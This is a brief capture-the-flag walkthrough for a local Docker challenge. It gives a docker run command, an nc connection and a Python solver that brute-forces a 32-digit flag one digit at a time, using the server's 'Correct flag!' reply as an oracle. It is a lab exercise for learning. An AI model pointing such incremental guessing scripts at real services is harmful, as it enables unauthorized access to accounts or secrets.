The idea here: You need to brute force each digit one at a time. The for loop below does just that.

Want to run this Docker container locally?

docker run -d -it --rm -p 80:80 -p 1337:1337 joshbeck2024/python_digit_challenge:latest

Connect:

nc IP_OF_TARGET 1337

• Solver.py

  import socket
  import time
  import string
  
  HOST = '127.0.0.1'
  PORT = 1337
  FLAG_LENGTH = 32
  ALPHABET = string.digits
  
  def recv_until(sock, delimiter):
      data = b""
      while delimiter not in data:
          chunk = sock.recv(1024)
          if not chunk:
              break
          data += chunk
      return data
  
  def solve():
      known_flag = ""
      print(f"[*] Starting attack on {HOST}:{PORT}")
      
      for i in range(FLAG_LENGTH):
          found_digit = False
          # print(f"[*] Brute forcing index {i} (Current flag: {known_flag})...")
          
          for digit in ALPHABET:
              try:
                  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                  s.connect((HOST, PORT))
                  
                  # Consume banner until prompt
                  recv_until(s, b"Enter your guess: ")
                  
                  guess = known_flag + digit
                  s.sendall(guess.encode() + b"\\n")
                  
                  # Read response
                  response = s.recv(4096).decode('utf-8', errors='ignore')
                  s.close()
                  
                  # Debug print to verify we are seeing "Correct" or "Wrong"
                  # print(f"DEBUG: Guess '{digit}' -> '{response.strip()}'")
                  
                  if "Correct flag!" in response:
                      known_flag += digit
                      found_digit = True
                      print(f"[+] Found digit {i+1}/{FLAG_LENGTH}: {digit} | Current: {known_flag}")
                      break
              except ConnectionRefusedError:
                  print("[-] Connection refused. Server not up?")
                  return
              except Exception as e:
                  print(f"[-] Error: {e}")
          
          if not found_digit:
              print("[-] Failed to find digit! logic error or wrong alphabet?")
              print(f"Final partial flag: {known_flag}")
              break
              
      print(f"\\n[SUCCESS] Recovered Flag: {known_flag}")
  
  if __name__ == "__main__":
      solve()